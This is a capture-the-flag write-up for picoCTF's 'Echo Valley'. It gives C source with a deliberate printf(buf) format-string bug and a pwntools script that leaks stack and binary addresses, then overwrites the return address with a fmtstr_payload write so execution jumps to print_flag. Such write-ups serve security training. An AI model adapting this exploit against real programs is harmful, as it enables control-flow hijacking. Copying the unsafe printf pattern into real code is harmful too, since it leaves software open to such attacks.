Echo Valley

#format-string

Contents

Source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void print_flag() {
    char buf[32];
    FILE *file = fopen("/home/valley/flag.txt", "r");

    if (file == NULL) {
      perror("Failed to open flag file");
      exit(EXIT_FAILURE);
    }

    fgets(buf, sizeof(buf), file);
    printf("Congrats! Here is your flag: %s", buf);
    fclose(file);
    exit(EXIT_SUCCESS);
}

void echo_valley() {
    printf("Welcome to the Echo Valley, Try Shouting: \n");

    char buf[100];

    while(1)
    {
        fflush(stdout);
        if (fgets(buf, sizeof(buf), stdin) == NULL) {
          printf("\nEOF detected. Exiting...\n");
          exit(0);
        }

        if (strcmp(buf, "exit\n") == 0) {
            printf("The Valley Disappears\n");
            break;
        }

        printf("You heard in the distance: ");
        printf(buf);
        fflush(stdout);
    }
    fflush(stdout);
}

int main()
{
    echo_valley();
    return 0;
}

Solution

#!/usr/bin/env python3

from pwn import *

elf = ELF("./valley_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def conn():
    if args.REMOTE:
        r = remote("shape-facility.picoctf.net", 65339)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r



def main():
    r = conn()

    r.sendline(b'%20$p|%21$p|')
    r.recvuntil(b'You heard in the distance: ')
    leak_1 = int(r.recvuntil(b'|', drop=True).decode("ascii"),16)
    leak_2 = int(r.recvuntil(b'|', drop=True).decode("ascii"),16)

    ret_addr = leak_1 - 8
    elf.address = leak_2 - (elf.sym["main"] + 18)

    write = {
            ret_addr : elf.sym["print_flag"]
            }

    payload = fmtstr_payload(6, write, write_size="short")

    r.sendline(payload)
    r.sendline(b'exit')
    r.recvuntil(b'The Valley Disappears\n')

    flag = r.clean().decode("ascii").strip()

    print()
    print(flag)
    print()


if __name__ == "__main__":
    main()